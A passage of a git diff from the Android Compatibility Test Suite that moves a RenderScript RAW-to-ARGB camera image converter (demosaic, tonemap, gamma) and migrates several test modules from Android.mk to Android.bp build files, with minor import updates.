-                    bl = blackLevel.y;
-                    g = gains.w;
-                    break;
-                case 10:
-                    bl = blackLevel.z;
-                    g = gains.x;
-                    break;
-                case 11:
-                    bl = blackLevel.w;
-                    g = gains.z;
-                    break;
-                // BGGR
-                case 12:
-                    bl = blackLevel.x;
-                    g = gains.w;
-                    break;
-                case 13:
-                    bl = blackLevel.y;
-                    g = gains.y;
-                    break;
-                case 14:
-                    bl = blackLevel.z;
-                    g = gains.z;
-                    break;
-                case 15:
-                    bl = blackLevel.w;
-                    g = gains.x;
-                    break;
-            }
-            outputArray[kk] = clamp(g * (outputArray[kk] - bl) / (whiteLevel - bl), 0.f, 1.f);
-            kk++;
-        }
-    }
-}
-
-// Apply bilinear-interpolation to demosaic
-static float3 demosaic(uint x, uint y, uint cfa, float* inputArray) {
-    uint index = (x & 1) | ((y & 1) << 1);
-    index |= (cfa << 2);
-    float3 pRGB;
-    switch (index) {
-        case 0:
-        case 5:
-        case 10:
-        case 15:  // Red centered
-                  // B G B
-                  // G R G
-                  // B G B
-            pRGB.x = inputArray[4];
-            pRGB.y = (inputArray[1] + inputArray[3] + inputArray[5] + inputArray[7]) / 4;
-            pRGB.z = (inputArray[0] + inputArray[2] + inputArray[6] + inputArray[8]) / 4;
-            break;
-        case 1:
-        case 4:
-        case 11:
-        case 14: // Green centered w/ horizontally adjacent Red
-                 // G B G
-                 // R G R
-                 // G B G
-            pRGB.x = (inputArray[3] + inputArray[5]) / 2;
-            pRGB.y = inputArray[4];
-            pRGB.z = (inputArray[1] + inputArray[7]) / 2;
-            break;
-        case 2:
-        case 7:
-        case 8:
-        case 13: // Green centered w/ horizontally adjacent Blue
-                 // G R G
-                 // B G B
-                 // G R G
-            pRGB.x = (inputArray[1] + inputArray[7]) / 2;
-            pRGB.y = inputArray[4];
-            pRGB.z = (inputArray[3] + inputArray[5]) / 2;
-            break;
-        case 3:
-        case 6:
-        case 9:
-        case 12: // Blue centered
-                 // R G R
-                 // G B G
-                 // R G R
-            pRGB.x = (inputArray[0] + inputArray[2] + inputArray[6] + inputArray[8]) / 4;
-            pRGB.y = (inputArray[1] + inputArray[3] + inputArray[5] + inputArray[7]) / 4;
-            pRGB.z = inputArray[4];
-            break;
-    }
-
-    return pRGB;
-}
-
-// Full RAW->ARGB bitmap conversion kernel
-uchar4 RS_KERNEL convert_RAW_To_ARGB(uint x, uint y) {
-    float3 pRGB;
-    uint xP = x + offsetX;
-    uint yP = y + offsetY;
-    if (xP == 0) xP = 1;
-    if (yP == 0) yP = 1;
-    if (xP == rawWidth - 1) xP = rawWidth - 2;
-    if (yP == rawHeight - 1) yP = rawHeight  - 2;
-
-    float patch[9];
-    // TODO: Once ScriptGroup and RS kernels have been updated to allow for iteration over 3x3 pixel
-    // patches, this can be optimized to avoid re-applying the pre-demosaic steps for each pixel,
-    // potentially achieving a 9x speedup here.
-    load3x3(xP, yP, inputRawBuffer, /*out*/ patch);
-    linearizeAndGainmap(xP, yP, blackLevelPattern, whiteLevel, cfaPattern, /*inout*/patch);
-    pRGB = demosaic(xP, yP, cfaPattern, patch);
-
-    return rsPackColorTo8888(applyColorspace(pRGB));
-}
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/raw_converter.rscript b/tests/camera/src/android/hardware/camera2/cts/rs/raw_converter.rscript
new file mode 100644
index 0000000..899bea9
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/raw_converter.rscript
@@ -0,0 +1,372 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../common.rscript"
+
+// This file includes a conversion kernel for RGGB, GRBG, GBRG, and BGGR Bayer patterns.
+// Applying this script also will apply black-level subtraction, rescaling, clipping, tonemapping,
+// and color space transforms along with the Bayer demosaic.  See RawConverter.java
+// for more information.
+
+// Input globals
+
+rs_allocation inputRawBuffer; // RAW16 buffer of dimensions (raw image stride) * (raw image height)
+rs_allocation gainMap; // Gainmap to apply to linearized raw sensor data.
+uint cfaPattern; // The Color Filter Arrangement pattern used
+uint gainMapWidth;  // The width of the gain map
+uint gainMapHeight;  // The height of the gain map
+bool hasGainMap; // Does gainmap exist?
+rs_matrix3x3 sensorToIntermediate; // Color transform from sensor to a wide-gamut colorspace
+rs_matrix3x3 intermediateToSRGB; // Color transform from wide-gamut colorspace to sRGB
+ushort4 blackLevelPattern; // Blacklevel to subtract for each channel, given in CFA order
+int whiteLevel;  // Whitelevel of sensor
+uint offsetX; // X offset into inputRawBuffer
+uint offsetY; // Y offset into inputRawBuffer
+uint rawWidth; // Width of raw buffer
+uint rawHeight; // Height of raw buffer
+float3 neutralPoint; // The camera neutral
+float4 toneMapCoeffs; // Coefficients for a polynomial tonemapping curve
+
+// Interpolate gain map to find per-channel gains at a given pixel
+static float4 getGain(uint x, uint y) {
+    float interpX = (((float) x) / rawWidth) * gainMapWidth;
+    float interpY = (((float) y) / rawHeight) * gainMapHeight;
+    uint gX = (uint) interpX;
+    uint gY = (uint) interpY;
+    uint gXNext = (gX + 1 < gainMapWidth) ? gX + 1 : gX;
+    uint gYNext = (gY + 1 < gainMapHeight) ? gY + 1 : gY;
+
+    float4 tl = *((float4 *) rsGetElementAt(gainMap, gX, gY));
+    float4 tr = *((float4 *) rsGetElementAt(gainMap, gXNext, gY));
+    float4 bl = *((float4 *) rsGetElementAt(gainMap, gX, gYNext));
+    float4 br = *((float4 *) rsGetElementAt(gainMap, gXNext, gYNext));
+
+    float fracX = interpX - (float) gX;
+    float fracY = interpY - (float) gY;
+    float invFracX = 1.f - fracX;
+    float invFracY = 1.f - fracY;
+
+    return tl * invFracX * invFracY + tr * fracX * invFracY +
+            bl * invFracX * fracY + br * fracX * fracY;
+}
+
+// Apply gamma correction using sRGB gamma curve
+static float gammaEncode(float x) {
+    return (x <= 0.0031308f) ? x * 12.92f : 1.055f * pow(x, 0.4166667f) - 0.055f;
+}
+
+// Apply gamma correction to each color channel in RGB pixel
+static float3 gammaCorrectPixel(float3 rgb) {
+    float3 ret;
+    ret.x = gammaEncode(rgb.x);
+    ret.y = gammaEncode(rgb.y);
+    ret.z = gammaEncode(rgb.z);
+    return ret;
+}
+
+// Apply polynomial tonemapping curve to each color channel in RGB pixel.
+// This attempts to apply tonemapping without changing the hue of each pixel,
+// i.e.:
+//
+// For some RGB values:
+// M = max(R, G, B)
+// m = min(R, G, B)
+// m' = mid(R, G, B)
+// chroma = M - m
+// H = m' - m / chroma
+//
+// The relationship H=H' should be preserved, where H and H' are calculated from
+// the RGB and RGB' value at this pixel before and after this tonemapping
+// operation has been applied, respectively.
+static float3 tonemap(float3 rgb) {
+    float3 sorted = clamp(rgb, 0.f, 1.f);
+    float tmp;
+    int permutation = 0;
+
+    // Sort the RGB channels by value
+    if (sorted.z < sorted.y) {
+        tmp = sorted.z;
+        sorted.z = sorted.y;
+        sorted.y = tmp;
+        permutation |= 1;
+    }
+    if (sorted.y < sorted.x) {
+        tmp = sorted.y;
+        sorted.y = sorted.x;
+        sorted.x = tmp;
+        permutation |= 2;
+    }
+    if (sorted.z < sorted.y) {
+        tmp = sorted.z;
+        sorted.z = sorted.y;
+        sorted.y = tmp;
+        permutation |= 4;
+    }
+
+    float2 minmax;
+    minmax.x = sorted.x;
+    minmax.y = sorted.z;
+
+    // Apply tonemapping curve to min, max RGB channel values
+    minmax = native_powr(minmax, 3.f) * toneMapCoeffs.x +
+            native_powr(minmax, 2.f) * toneMapCoeffs.y +
+            minmax * toneMapCoeffs.z + toneMapCoeffs.w;
+
+    // Rescale middle value
+    float newMid;
+    if (sorted.z == sorted.x) {
+        newMid = minmax.y;
+    } else {
+        newMid = minmax.x + ((minmax.y - minmax.x) * (sorted.y - sorted.x) /
+                (sorted.z - sorted.x));
+    }
+
+    float3 finalRGB;
+    switch (permutation) {
+        case 0: // b >= g >= r
+            finalRGB.x = minmax.x;
+            finalRGB.y = newMid;
+            finalRGB.z = minmax.y;
+            break;
+        case 1: // g >= b >= r
+            finalRGB.x = minmax.x;
+            finalRGB.z = newMid;
+            finalRGB.y = minmax.y;
+            break;
+        case 2: // b >= r >= g
+            finalRGB.y = minmax.x;
+            finalRGB.x = newMid;
+            finalRGB.z = minmax.y;
+            break;
+        case 3: // g >= r >= b
+            finalRGB.z = minmax.x;
+            finalRGB.x = newMid;
+            finalRGB.y = minmax.y;
+            break;
+        case 6: // r >= b >= g
+            finalRGB.y = minmax.x;
+            finalRGB.z = newMid;
+            finalRGB.x = minmax.y;
+            break;
+        case 7: // r >= g >= b
+            finalRGB.z = minmax.x;
+            finalRGB.y = newMid;
+            finalRGB.x = minmax.y;
+            break;
+        case 4: // impossible
+        case 5: // impossible
+        default:
+            finalRGB.x = 0.f;
+            finalRGB.y = 0.f;
+            finalRGB.z = 0.f;
+            LOGD("raw_converter.rscript: Logic error in tonemap.", 0);
+            break;
+    }
+    return clamp(finalRGB, 0.f, 1.f);
+}
+
+// Apply a colorspace transform to the intermediate colorspace, apply
+// a tonemapping curve, apply a colorspace transform to a final colorspace,
+// and apply a gamma correction curve.
+static float3 applyColorspace(float3 pRGB) {
+    pRGB.x = clamp(pRGB.x, 0.f, neutralPoint.x);
+    pRGB.y = clamp(pRGB.y, 0.f, neutralPoint.y);
+    pRGB.z = clamp(pRGB.z, 0.f, neutralPoint.z);
+
+    float3 intermediate = rsMatrixMultiply(&sensorToIntermediate, pRGB);
+    intermediate = tonemap(intermediate);
+    return gammaCorrectPixel(clamp(rsMatrixMultiply(&intermediateToSRGB, intermediate), 0.f, 1.f));
+}
+
+// Load a 3x3 patch of pixels into the output.
+static void load3x3(uint x, uint y, rs_allocation buf, /*out*/float* outputArray) {
+    outputArray[0] = *((ushort *) rsGetElementAt(buf, x - 1, y - 1));
+    outputArray[1] = *((ushort *) rsGetElementAt(buf, x, y - 1));
+    outputArray[2] = *((ushort *) rsGetElementAt(buf, x + 1, y - 1));
+    outputArray[3] = *((ushort *) rsGetElementAt(buf, x - 1, y));
+    outputArray[4] = *((ushort *) rsGetElementAt(buf, x, y));
+    outputArray[5] = *((ushort *) rsGetElementAt(buf, x + 1, y));
+    outputArray[6] = *((ushort *) rsGetElementAt(buf, x - 1, y + 1));
+    outputArray[7] = *((ushort *) rsGetElementAt(buf, x, y + 1));
+    outputArray[8] = *((ushort *) rsGetElementAt(buf, x + 1, y + 1));
+}
+
+// Blacklevel subtract, and normalize each pixel in the outputArray, and apply the
+// gain map.
+static void linearizeAndGainmap(uint x, uint y, ushort4 blackLevel, int whiteLevel,
+        uint cfa, /*inout*/float* outputArray) {
+    uint kk = 0;
+    for (uint j = y - 1; j <= y + 1; j++) {
+        for (uint i = x - 1; i <= x + 1; i++) {
+            uint index = (i & 1) | ((j & 1) << 1);  // bits [0,1] are blacklevel offset
+            index |= (cfa << 2);  // bits [2,3] are cfa
+            float bl = 0.f;
+            float g = 1.f;
+            float4 gains = 1.f;
+            if (hasGainMap) {
+                gains = getGain(i, j);
+            }
+            switch (index) {
+                // RGGB
+                case 0:
+                    bl = blackLevel.x;
+                    g = gains.x;
+                    break;
+                case 1:
+                    bl = blackLevel.y;
+                    g = gains.y;
+                    break;
+                case 2:
+                    bl = blackLevel.z;
+                    g = gains.z;
+                    break;
+                case 3:
+                    bl = blackLevel.w;
+                    g = gains.w;
+                    break;
+                // GRBG
+                case 4:
+                    bl = blackLevel.x;
+                    g = gains.y;
+                    break;
+                case 5:
+                    bl = blackLevel.y;
+                    g = gains.x;
+                    break;
+                case 6:
+                    bl = blackLevel.z;
+                    g = gains.w;
+                    break;
+                case 7:
+                    bl = blackLevel.w;
+                    g = gains.z;
+                    break;
+                // GBRG
+                case 8:
+                    bl = blackLevel.x;
+                    g = gains.y;
+                    break;
+                case 9:
+                    bl = blackLevel.y;
+                    g = gains.w;
+                    break;
+                case 10:
+                    bl = blackLevel.z;
+                    g = gains.x;
+                    break;
+                case 11:
+                    bl = blackLevel.w;
+                    g = gains.z;
+                    break;
+                // BGGR
+                case 12:
+                    bl = blackLevel.x;
+                    g = gains.w;
+                    break;
+                case 13:
+                    bl = blackLevel.y;
+                    g = gains.y;
+                    break;
+                case 14:
+                    bl = blackLevel.z;
+                    g = gains.z;
+                    break;
+                case 15:
+                    bl = blackLevel.w;
+                    g = gains.x;
+                    break;
+            }
+            outputArray[kk] = clamp(g * (outputArray[kk] - bl) / (whiteLevel - bl), 0.f, 1.f);
+            kk++;
+        }
+    }
+}
+
+// Apply bilinear-interpolation to demosaic
+static float3 demosaic(uint x, uint y, uint cfa, float* inputArray) {
+    uint index = (x & 1) | ((y & 1) << 1);
+    index |= (cfa << 2);
+    float3 pRGB;
+    switch (index) {
+        case 0:
+        case 5:
+        case 10:
+        case 15:  // Red centered
+                  // B G B
+                  // G R G
+                  // B G B
+            pRGB.x = inputArray[4];
+            pRGB.y = (inputArray[1] + inputArray[3] + inputArray[5] + inputArray[7]) / 4;
+            pRGB.z = (inputArray[0] + inputArray[2] + inputArray[6] + inputArray[8]) / 4;
+            break;
+        case 1:
+        case 4:
+        case 11:
+        case 14: // Green centered w/ horizontally adjacent Red
+                 // G B G
+                 // R G R
+                 // G B G
+            pRGB.x = (inputArray[3] + inputArray[5]) / 2;
+            pRGB.y = inputArray[4];
+            pRGB.z = (inputArray[1] + inputArray[7]) / 2;
+            break;
+        case 2:
+        case 7:
+        case 8:
+        case 13: // Green centered w/ horizontally adjacent Blue
+                 // G R G
+                 // B G B
+                 // G R G
+            pRGB.x = (inputArray[1] + inputArray[7]) / 2;
+            pRGB.y = inputArray[4];
+            pRGB.z = (inputArray[3] + inputArray[5]) / 2;
+            break;
+        case 3:
+        case 6:
+        case 9:
+        case 12: // Blue centered
+                 // R G R
+                 // G B G
+                 // R G R
+            pRGB.x = (inputArray[0] + inputArray[2] + inputArray[6] + inputArray[8]) / 4;
+            pRGB.y = (inputArray[1] + inputArray[3] + inputArray[5] + inputArray[7]) / 4;
+            pRGB.z = inputArray[4];
+            break;
+    }
+
+    return pRGB;
+}
+
+// Full RAW->ARGB bitmap conversion kernel
+uchar4 RS_KERNEL convert_RAW_To_ARGB(uint x, uint y) {
+    float3 pRGB;
+    uint xP = x + offsetX;
+    uint yP = y + offsetY;
+    if (xP == 0) xP = 1;
+    if (yP == 0) yP = 1;
+    if (xP == rawWidth - 1) xP = rawWidth - 2;
+    if (yP == rawHeight - 1) yP = rawHeight  - 2;
+
+    float patch[9];
+    // TODO: Once ScriptGroup and RS kernels have been updated to allow for iteration over 3x3 pixel
+    // patches, this can be optimized to avoid re-applying the pre-demosaic steps for each pixel,
+    // potentially achieving a 9x speedup here.
+    load3x3(xP, yP, inputRawBuffer, /*out*/ patch);
+    linearizeAndGainmap(xP, yP, blackLevelPattern, whiteLevel, cfaPattern, /*inout*/patch);
+    pRGB = demosaic(xP, yP, cfaPattern, patch);
+
+    return rsPackColorTo8888(applyColorspace(pRGB));
+}
diff --git a/tests/core/Android.mk b/tests/core/Android.mk
deleted file mode 100644
index e9c9793..0000000
--- a/tests/core/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/core/runner-axt/Android.bp b/tests/core/runner-axt/Android.bp
new file mode 100644
index 0000000..d770430
--- /dev/null
+++ b/tests/core/runner-axt/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//==========================================================
+// Build the core runner.
+//==========================================================
+
+// Build library
+java_library {
+    name: "cts-core-test-runner-axt",
+
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "vogarexpect",
+        "testng",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+    sdk_version: "test_current",
+
+}
+
+//==========================================================
+// Build the run listener
+//==========================================================
+
+// Build library
+java_library {
+    name: "cts-test-runner-axt",
+
+    srcs: ["src/com/android/cts/runner/**/*.java"],
+    static_libs: ["androidx.test.rules"],
+    sdk_version: "current",
+
+}
diff --git a/tests/core/runner-axt/Android.mk b/tests/core/runner-axt/Android.mk
deleted file mode 100644
index 4ab91b81..0000000
--- a/tests/core/runner-axt/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#==========================================================
-# Build the core runner.
-#==========================================================
-
-# Build library
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_MODULE := cts-core-test-runner-axt
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.rules \
-    vogarexpect \
-    testng
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-#==========================================================
-# Build the run listener
-#==========================================================
-
-# Build library
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under,src/com/android/cts/runner)
-LOCAL_MODULE := cts-test-runner-axt
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
index f409dbd..4419b4b 100644
--- a/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -27,10 +27,10 @@
 import org.junit.runner.manipulation.Filter;
 import org.junit.runners.ParentRunner;
 import org.junit.runners.Suite;
-import vogar.Expectation;
-import vogar.ExpectationStore;
-import vogar.ModeId;
-import vogar.Result;
+import vogar.expect.Expectation;
+import vogar.expect.ExpectationStore;
+import vogar.expect.ModeId;
+import vogar.expect.Result;
 
 /**
  * Filter out tests/classes that are not requested or which are expected to fail.
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
index abda5a7..db36213 100644
--- a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
@@ -17,14 +17,14 @@
 package com.android.cts.runner;
 
 import android.app.ActivityManager;
-import android.app.Instrumentation;
 import android.app.KeyguardManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
-import androidx.test.internal.runner.listener.InstrumentationRunListener;
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.test.internal.runner.listener.InstrumentationRunListener;
+
 import junit.framework.TestCase;
 
 import org.junit.runner.Description;
diff --git a/tests/core/runner/Android.bp b/tests/core/runner/Android.bp
new file mode 100644
index 0000000..de3d724
--- /dev/null
+++ b/tests/core/runner/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//==========================================================
+// Build the core runner.
+//==========================================================
+
+// Build library
+java_library {
+    name: "cts-core-test-runner",
+
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "compatibility-device-util",
+        "android-support-test",
+        "vogarexpect",
+        "testng",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+    sdk_version: "test_current",
+
+}
+
+//==========================================================
+// Build the run listener
+//==========================================================
+
+// Build library
+java_library {
+    name: "cts-test-runner",
+
+    srcs: ["src/com/android/cts/runner/**/*.java"],
+    static_libs: ["android-support-test"],
+    sdk_version: "current",
+
+}
diff --git a/tests/core/runner/Android.mk b/tests/core/runner/Android.mk
deleted file mode 100644
index e2d5047..0000000
--- a/tests/core/runner/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#==========================================================
-# Build the core runner.
-#==========================================================
-
-# Build library
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_MODULE := cts-core-test-runner
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
-    vogarexpect \
-    testng
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-#==========================================================
-# Build the run listener
-#==========================================================
-
-# Build library
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-LOCAL_SRC_FILES := $(call all-java-files-under,src/com/android/cts/runner)
-LOCAL_MODULE := cts-test-runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
index f409dbd..4419b4b 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -27,10 +27,10 @@
 import org.junit.runner.manipulation.Filter;
 import org.junit.runners.ParentRunner;
 import org.junit.runners.Suite;
-import vogar.Expectation;
-import vogar.ExpectationStore;
-import vogar.ModeId;
-import vogar.Result;
+import vogar.expect.Expectation;
+import vogar.expect.ExpectationStore;
+import vogar.expect.ModeId;
+import vogar.expect.Result;
 
 /**
  * Filter out tests/classes that are not requested or which are expected to fail.
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
new file mode 100644
index 0000000..e091ca3
--- /dev/null
+++ b/tests/filesystem/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsFileSystemTestCases",
+    defaults: ["cts_defaults"],
+    // don't include this package in any target
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
deleted file mode 100644
index de5a831..0000000
--- a/tests/filesystem/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsFileSystemTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/fragment/Android.bp b/tests/fragment/Android.bp
new file mode 100644
index 0000000..30592c2
--- /dev/null
+++ b/tests/fragment/Android.bp
@@ -0,0 +1,47 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsFragmentTestCases",
+    defaults: ["cts_defaults"],
+
+    dex_preopt: {
+        enabled: false,
+    },
+
+    optimize: {
+        enabled: false,
+    },
+
+    static_libs: [
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "android-common",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: ["android.test.base.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
deleted file mode 100644
index 3e545d4..0000000
--- a/tests/fragment/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsFragmentTestCases
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    android-common \
-    compatibility-device-util-axt \
-    ctstestrunner-axt
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/fragment/TEST_MAPPING b/tests/fragment/TEST_MAPPING
new file mode 100644
index 0000000..a5be057
--- /dev/null
+++ b/tests/fragment/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsFragmentTestCases"
+    }
+  ]
+}
